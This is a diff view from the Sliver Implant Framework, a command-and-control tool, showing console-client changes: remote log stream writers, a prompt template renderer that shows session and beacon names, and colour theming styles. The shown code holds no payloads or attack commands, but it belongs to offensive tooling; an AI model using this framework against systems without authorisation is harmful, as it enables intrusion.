%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
|
|
||||||
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
|
|
||||||
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
|
|
||||||
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
|
|
||||||
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
|
|
||||||
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
|
|
||||||
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
|
|
||||||
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
|
|
||||||
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
|
|
||||||
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
|
|
||||||
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
|
|
||||||
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
|
|
||||||
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
|
|
||||||
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
|
|
||||||
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
|
|
||||||
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
|
|
||||||
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
|
|
||||||
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
|
|
||||||
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
|
|
||||||
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
|
|
||||||
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
|
|
||||||
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
|
|
||||||
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
|
|
||||||
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
|
|
||||||
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
|
|
||||||
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
|
|
||||||
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
|
|
||||||
@%%%% %@@@@@@@@@@@@@ %%%%@
|
|
||||||
@@ @::@@@@@@@@@@::@ @@
|
|
||||||
-::::::@@@@:::::::
|
|
||||||
*-----========-----+
|
|
||||||
@###%%%@@@@%%%###@
|
|
||||||
@%%%%%%@
|
|
||||||
` + Normal,
|
|
||||||
}
|
}
|
||||||
+111
-2
@@ -26,6 +26,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/assets"
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
@@ -51,6 +52,109 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) {
|
|||||||
return len(buf), err
|
return len(buf), err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// optionalRemoteWriter is an io.Writer that forwards to an optional remote writer.
|
||||||
|
// It always returns len(buf), nil to avoid breaking io.MultiWriter/io.Copy when
|
||||||
|
// a remote stream disconnects during a server switch.
|
||||||
|
type optionalRemoteWriter struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
w io.Writer
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *optionalRemoteWriter) Set(w io.Writer) {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.w = w
|
||||||
|
o.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *optionalRemoteWriter) Write(buf []byte) (int, error) {
|
||||||
|
o.mu.RLock()
|
||||||
|
w := o.w
|
||||||
|
o.mu.RUnlock()
|
||||||
|
if w != nil {
|
||||||
|
_, _ = w.Write(buf)
|
||||||
|
}
|
||||||
|
return len(buf), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) ensureJSONRemoteWriter() {
|
||||||
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
if con.jsonRemoteWriter == nil {
|
||||||
|
con.jsonRemoteWriter = &optionalRemoteWriter{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) ensureAsciicastRemoteWriter() {
|
||||||
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
if con.asciicastRemoteWriter == nil {
|
||||||
|
con.asciicastRemoteWriter = &optionalRemoteWriter{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) refreshRemoteLogStreamsLocked() {
|
||||||
|
// Only refresh if the console logging stack has been initialized.
|
||||||
|
if con.jsonRemoteWriter == nil && con.asciicastRemoteWriter == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if con.Rpc == nil {
|
||||||
|
con.setRemoteLogStreamsLocked(nil, nil)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var jsonStream *ConsoleClientLogger
|
||||||
|
var asciicastStream *ConsoleClientLogger
|
||||||
|
|
||||||
|
if con.jsonRemoteWriter != nil {
|
||||||
|
s, err := con.ClientLogStream("json")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Could not get client json log stream: %s", err)
|
||||||
|
} else {
|
||||||
|
jsonStream = s
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if con.asciicastRemoteWriter != nil {
|
||||||
|
s, err := con.ClientLogStream("asciicast")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Could not get client asciicast log stream: %s", err)
|
||||||
|
} else {
|
||||||
|
asciicastStream = s
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
con.setRemoteLogStreamsLocked(jsonStream, asciicastStream)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) setRemoteLogStreamsLocked(jsonStream, asciicastStream *ConsoleClientLogger) {
|
||||||
|
// Detach writers first so background pipes can't hit a closing stream.
|
||||||
|
if con.jsonRemoteWriter != nil {
|
||||||
|
con.jsonRemoteWriter.Set(nil)
|
||||||
|
}
|
||||||
|
if con.asciicastRemoteWriter != nil {
|
||||||
|
con.asciicastRemoteWriter.Set(nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
if con.jsonRemoteStream != nil {
|
||||||
|
_ = con.jsonRemoteStream.CloseSend()
|
||||||
|
con.jsonRemoteStream = nil
|
||||||
|
}
|
||||||
|
if con.asciicastRemoteStream != nil {
|
||||||
|
_ = con.asciicastRemoteStream.CloseSend()
|
||||||
|
con.asciicastRemoteStream = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if jsonStream != nil && con.jsonRemoteWriter != nil {
|
||||||
|
con.jsonRemoteWriter.Set(jsonStream)
|
||||||
|
con.jsonRemoteStream = jsonStream.Stream
|
||||||
|
}
|
||||||
|
if asciicastStream != nil && con.asciicastRemoteWriter != nil {
|
||||||
|
con.asciicastRemoteWriter.Set(asciicastStream)
|
||||||
|
con.asciicastRemoteStream = asciicastStream.Stream
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ClientLogStream requires a log stream name, used to save the logs
|
// ClientLogStream requires a log stream name, used to save the logs
|
||||||
// going through this stream in a specific log subdirectory/file.
|
// going through this stream in a specific log subdirectory/file.
|
||||||
func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) {
|
func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) {
|
||||||
@@ -69,7 +173,12 @@ func (con *SliverClient) setupLogger(writers ...io.Writer) {
|
|||||||
con.jsonHandler = slog.NewJSONHandler(logWriter, jsonOptions)
|
con.jsonHandler = slog.NewJSONHandler(logWriter, jsonOptions)
|
||||||
|
|
||||||
// Log all commands before running them.
|
// Log all commands before running them.
|
||||||
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand)
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
if !con.logCommandHookApplied {
|
||||||
|
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand)
|
||||||
|
con.logCommandHookApplied = true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// logCommand logs non empty commands to the client log file.
|
// logCommand logs non empty commands to the client log file.
|
||||||
@@ -242,7 +351,7 @@ func (con *SliverClient) PrintWarnf(format string, args ...any) {
|
|||||||
|
|
||||||
logger.Warn(fmt.Sprintf(format, args...))
|
logger.Warn(fmt.Sprintf(format, args...))
|
||||||
|
|
||||||
con.printf(Clearln+"⚠️ "+Normal+format, args...)
|
con.printf(Clearln+"⚠️ "+format, args...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// PrintErrorf prints an error message immediately below the last line of output.
|
// PrintErrorf prints an error message immediately below the last line of output.
|
||||||
|
|||||||
@@ -0,0 +1,233 @@
|
|||||||
|
package console
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"text/template"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/theme"
|
||||||
|
)
|
||||||
|
|
||||||
|
type promptPalette struct {
|
||||||
|
Default string
|
||||||
|
Mods map[int]string
|
||||||
|
}
|
||||||
|
|
||||||
|
type promptColors struct {
|
||||||
|
Primary promptPalette
|
||||||
|
Secondary promptPalette
|
||||||
|
Default promptPalette
|
||||||
|
Success promptPalette
|
||||||
|
Warning promptPalette
|
||||||
|
Danger promptPalette
|
||||||
|
}
|
||||||
|
|
||||||
|
type promptStyles struct {
|
||||||
|
Normal TextStyle
|
||||||
|
Bold TextStyle
|
||||||
|
Underline TextStyle
|
||||||
|
|
||||||
|
Primary TextStyle
|
||||||
|
Secondary TextStyle
|
||||||
|
Default TextStyle
|
||||||
|
Success TextStyle
|
||||||
|
Warning TextStyle
|
||||||
|
Danger TextStyle
|
||||||
|
|
||||||
|
BoldPrimary TextStyle
|
||||||
|
BoldSecondary TextStyle
|
||||||
|
BoldDefault TextStyle
|
||||||
|
BoldSuccess TextStyle
|
||||||
|
BoldWarning TextStyle
|
||||||
|
BoldDanger TextStyle
|
||||||
|
|
||||||
|
// Legacy names used across the codebase.
|
||||||
|
Black TextStyle
|
||||||
|
Red TextStyle
|
||||||
|
Green TextStyle
|
||||||
|
Orange TextStyle
|
||||||
|
Blue TextStyle
|
||||||
|
Purple TextStyle
|
||||||
|
Cyan TextStyle
|
||||||
|
Gray TextStyle
|
||||||
|
}
|
||||||
|
|
||||||
|
type promptTarget struct {
|
||||||
|
SessionName string
|
||||||
|
BeaconName string
|
||||||
|
|
||||||
|
// Suffix is a pre-rendered, themed " (name)" segment matching the default prompt.
|
||||||
|
Suffix string
|
||||||
|
}
|
||||||
|
|
||||||
|
type promptTemplateContext struct {
|
||||||
|
Now time.Time
|
||||||
|
|
||||||
|
IsServer bool
|
||||||
|
Connected bool
|
||||||
|
|
||||||
|
Operator string
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
HostPort string
|
||||||
|
|
||||||
|
Target promptTarget
|
||||||
|
|
||||||
|
Colors promptColors
|
||||||
|
Styles promptStyles
|
||||||
|
}
|
||||||
|
|
||||||
|
var promptTemplateCache struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
src string
|
||||||
|
tpl *template.Template
|
||||||
|
}
|
||||||
|
|
||||||
|
func toPromptPalette(p theme.Palette) promptPalette {
|
||||||
|
out := promptPalette{
|
||||||
|
Default: p.Default,
|
||||||
|
Mods: map[int]string{},
|
||||||
|
}
|
||||||
|
for k, v := range p.Mods {
|
||||||
|
out.Mods[k] = v
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func promptTemplateForSource(src string) (*template.Template, error) {
|
||||||
|
promptTemplateCache.mu.RLock()
|
||||||
|
if promptTemplateCache.tpl != nil && promptTemplateCache.src == src {
|
||||||
|
t := promptTemplateCache.tpl
|
||||||
|
promptTemplateCache.mu.RUnlock()
|
||||||
|
return t, nil
|
||||||
|
}
|
||||||
|
promptTemplateCache.mu.RUnlock()
|
||||||
|
|
||||||
|
t, err := template.New("sliver-prompt").Option("missingkey=zero").Parse(src)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
promptTemplateCache.mu.Lock()
|
||||||
|
promptTemplateCache.src = src
|
||||||
|
promptTemplateCache.tpl = t
|
||||||
|
promptTemplateCache.mu.Unlock()
|
||||||
|
|
||||||
|
return t, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderPromptTemplate(con *SliverClient, src string) (string, error) {
|
||||||
|
if con == nil {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
details, _, ok := con.CurrentConnection()
|
||||||
|
operator := ""
|
||||||
|
host := ""
|
||||||
|
port := 0
|
||||||
|
hostPort := ""
|
||||||
|
if ok && details != nil && details.Config != nil {
|
||||||
|
operator = strings.TrimSpace(details.Config.Operator)
|
||||||
|
host = strings.TrimSpace(details.Config.LHost)
|
||||||
|
port = int(details.Config.LPort)
|
||||||
|
}
|
||||||
|
if host != "" && port != 0 {
|
||||||
|
hostPort = fmt.Sprintf("%s:%d", host, port)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Active target context.
|
||||||
|
var suffix string
|
||||||
|
sessionName := ""
|
||||||
|
beaconName := ""
|
||||||
|
if session := con.ActiveTarget.GetSession(); session != nil {
|
||||||
|
sessionName = session.Name
|
||||||
|
suffix = StyleBoldRed.Render(" (" + sessionName + ")")
|
||||||
|
} else if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
|
||||||
|
beaconName = beacon.Name
|
||||||
|
suffix = StyleBoldBlue.Render(" (" + beaconName + ")")
|
||||||
|
}
|
||||||
|
|
||||||
|
th := theme.Current()
|
||||||
|
ctx := promptTemplateContext{
|
||||||
|
Now: time.Now(),
|
||||||
|
IsServer: con.IsServer,
|
||||||
|
Connected: ok && details != nil && details.Config != nil,
|
||||||
|
Operator: operator,
|
||||||
|
Host: host,
|
||||||
|
Port: port,
|
||||||
|
HostPort: hostPort,
|
||||||
|
Target: promptTarget{
|
||||||
|
SessionName: sessionName,
|
||||||
|
BeaconName: beaconName,
|
||||||
|
Suffix: suffix,
|
||||||
|
},
|
||||||
|
Colors: promptColors{
|
||||||
|
Primary: toPromptPalette(th.Primary),
|
||||||
|
Secondary: toPromptPalette(th.Secondary),
|
||||||
|
Default: toPromptPalette(th.Default),
|
||||||
|
Success: toPromptPalette(th.Success),
|
||||||
|
Warning: toPromptPalette(th.Warning),
|
||||||
|
Danger: toPromptPalette(th.Danger),
|
||||||
|
},
|
||||||
|
Styles: promptStyles{
|
||||||
|
Normal: StyleNormal,
|
||||||
|
Bold: StyleBold,
|
||||||
|
Underline: StyleUnderline,
|
||||||
|
|
||||||
|
Primary: StylePrimary,
|
||||||
|
Secondary: StyleSecondary,
|
||||||
|
Default: StyleDefault,
|
||||||
|
Success: StyleSuccess,
|
||||||
|
Warning: StyleWarning,
|
||||||
|
Danger: StyleDanger,
|
||||||
|
|
||||||
|
BoldPrimary: StyleBoldPrimary,
|
||||||
|
BoldSecondary: StyleBoldSecondary,
|
||||||
|
BoldDefault: StyleBoldDefault,
|
||||||
|
BoldSuccess: StyleBoldSuccess,
|
||||||
|
BoldWarning: StyleBoldWarning,
|
||||||
|
BoldDanger: StyleBoldDanger,
|
||||||
|
|
||||||
|
Black: StyleBlack,
|
||||||
|
Red: StyleRed,
|
||||||
|
Green: StyleGreen,
|
||||||
|
Orange: StyleOrange,
|
||||||
|
Blue: StyleBlue,
|
||||||
|
Purple: StylePurple,
|
||||||
|
Cyan: StyleCyan,
|
||||||
|
Gray: StyleGray,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
tpl, err := promptTemplateForSource(src)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
var buf bytes.Buffer
|
||||||
|
if err := tpl.Execute(&buf, ctx); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return buf.String(), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,153 @@
|
|||||||
|
package console
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"image/color"
|
||||||
|
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/theme"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TextStyle is the shared styling type for the client/server consoles.
|
||||||
|
// Keep this type in the console package so most callsites don't need to import
|
||||||
|
// lipgloss directly.
|
||||||
|
type TextStyle = lipgloss.Style
|
||||||
|
|
||||||
|
var (
|
||||||
|
StyleNormal = lipgloss.NewStyle()
|
||||||
|
StyleBold = lipgloss.NewStyle().Bold(true)
|
||||||
|
StyleUnderline = lipgloss.NewStyle().Underline(true)
|
||||||
|
|
||||||
|
// Theme palette styles.
|
||||||
|
StylePrimary = lipgloss.NewStyle()
|
||||||
|
StyleSecondary = lipgloss.NewStyle()
|
||||||
|
StyleDefault = lipgloss.NewStyle()
|
||||||
|
StyleSuccess = lipgloss.NewStyle()
|
||||||
|
StyleWarning = lipgloss.NewStyle()
|
||||||
|
StyleDanger = lipgloss.NewStyle()
|
||||||
|
|
||||||
|
StyleBoldPrimary = lipgloss.NewStyle()
|
||||||
|
StyleBoldSecondary = lipgloss.NewStyle()
|
||||||
|
StyleBoldDefault = lipgloss.NewStyle()
|
||||||
|
StyleBoldSuccess = lipgloss.NewStyle()
|
||||||
|
StyleBoldWarning = lipgloss.NewStyle()
|
||||||
|
StyleBoldDanger = lipgloss.NewStyle()
|
||||||
|
|
||||||
|
// Legacy color names used across the codebase.
|
||||||
|
StyleBlack = lipgloss.NewStyle()
|
||||||
|
StyleRed = lipgloss.NewStyle()
|
||||||
|
StyleGreen = lipgloss.NewStyle()
|
||||||
|
StyleOrange = lipgloss.NewStyle()
|
||||||
|
StyleBlue = lipgloss.NewStyle()
|
||||||
|
StylePurple = lipgloss.NewStyle()
|
||||||
|
StyleCyan = lipgloss.NewStyle()
|
||||||
|
StyleGray = lipgloss.NewStyle()
|
||||||
|
|
||||||
|
StyleBoldBlack = lipgloss.NewStyle()
|
||||||
|
StyleBoldRed = lipgloss.NewStyle()
|
||||||
|
StyleBoldGreen = lipgloss.NewStyle()
|
||||||
|
StyleBoldOrange = lipgloss.NewStyle()
|
||||||
|
StyleBoldBlue = lipgloss.NewStyle()
|
||||||
|
StyleBoldPurple = lipgloss.NewStyle()
|
||||||
|
StyleBoldCyan = lipgloss.NewStyle()
|
||||||
|
StyleBoldGray = lipgloss.NewStyle()
|
||||||
|
)
|
||||||
|
|
||||||
|
// Prefix tags used across the client/server consoles.
|
||||||
|
var (
|
||||||
|
Info string
|
||||||
|
Warn string
|
||||||
|
Debug string
|
||||||
|
Woot string
|
||||||
|
Success string
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
// Apply a usable theme without doing any disk I/O.
|
||||||
|
ApplyTheme(theme.Current())
|
||||||
|
}
|
||||||
|
|
||||||
|
// ApplyTheme updates all exported styles/prefixes to match the provided theme.
|
||||||
|
//
|
||||||
|
// Note: this is intentionally a "global theme" for the console, since most of
|
||||||
|
// the existing code expects these styles to be package-level values.
|
||||||
|
func ApplyTheme(t theme.Theme) {
|
||||||
|
palette := func(p theme.Palette) color.Color {
|
||||||
|
if p.Default != "" {
|
||||||
|
return lipgloss.Color(p.Default)
|
||||||
|
}
|
||||||
|
return lipgloss.Color("#ffffff")
|
||||||
|
}
|
||||||
|
paletteMod := func(p theme.Palette, mod int) color.Color {
|
||||||
|
if mod != 0 {
|
||||||
|
if v, ok := p.Mods[mod]; ok && v != "" {
|
||||||
|
return lipgloss.Color(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return palette(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Palette styles.
|
||||||
|
StylePrimary = lipgloss.NewStyle().Foreground(palette(t.Primary))
|
||||||
|
StyleSecondary = lipgloss.NewStyle().Foreground(palette(t.Secondary))
|
||||||
|
StyleDefault = lipgloss.NewStyle().Foreground(palette(t.Default))
|
||||||
|
StyleSuccess = lipgloss.NewStyle().Foreground(palette(t.Success))
|
||||||
|
StyleWarning = lipgloss.NewStyle().Foreground(palette(t.Warning))
|
||||||
|
StyleDanger = lipgloss.NewStyle().Foreground(palette(t.Danger))
|
||||||
|
|
||||||
|
StyleBoldPrimary = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Primary))
|
||||||
|
StyleBoldSecondary = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Secondary))
|
||||||
|
StyleBoldDefault = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Default))
|
||||||
|
StyleBoldSuccess = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Success))
|
||||||
|
StyleBoldWarning = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Warning))
|
||||||
|
StyleBoldDanger = lipgloss.NewStyle().Bold(true).Foreground(palette(t.Danger))
|
||||||
|
|
||||||
|
// Legacy mapping.
|
||||||
|
StyleBlack = lipgloss.NewStyle().Foreground(paletteMod(t.Default, 50))
|
||||||
|
// ANSI "gray" (37) is typically light; map to the lightest neutral.
|
||||||
|
StyleGray = lipgloss.NewStyle().Foreground(paletteMod(t.Default, 900))
|
||||||
|
|
||||||
|
StyleBlue = StylePrimary
|
||||||
|
// Keep Cyan distinct from Blue using a lighter primary tint.
|
||||||
|
StyleCyan = lipgloss.NewStyle().Foreground(paletteMod(t.Primary, 500))
|
||||||
|
StylePurple = StyleSecondary
|
||||||
|
|
||||||
|
StyleGreen = StyleSuccess
|
||||||
|
StyleOrange = StyleWarning
|
||||||
|
StyleRed = StyleDanger
|
||||||
|
|
||||||
|
StyleBoldBlack = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Default, 50))
|
||||||
|
StyleBoldGray = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Default, 900))
|
||||||
|
|
||||||
|
StyleBoldBlue = StyleBoldPrimary
|
||||||
|
StyleBoldCyan = lipgloss.NewStyle().Bold(true).Foreground(paletteMod(t.Primary, 500))
|
||||||
|
StyleBoldPurple = StyleBoldSecondary
|
||||||
|
|
||||||
|
StyleBoldGreen = StyleBoldSuccess
|
||||||
|
StyleBoldOrange = StyleBoldWarning
|
||||||
|
StyleBoldRed = StyleBoldDanger
|
||||||
|
|
||||||
|
// Prefix tags.
|
||||||
|
Info = StyleBoldCyan.Render("[*] ")
|
||||||
|
Warn = StyleBoldDanger.Render("[!] ")
|
||||||
|
Debug = StyleBoldSecondary.Render("[-] ")
|
||||||
|
Woot = StyleBoldSuccess.Render("[$] ")
|
||||||
|
Success = StyleBoldSuccess.Render("[+] ")
|
||||||
|
}
|
||||||
Loaded 100 of 467 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user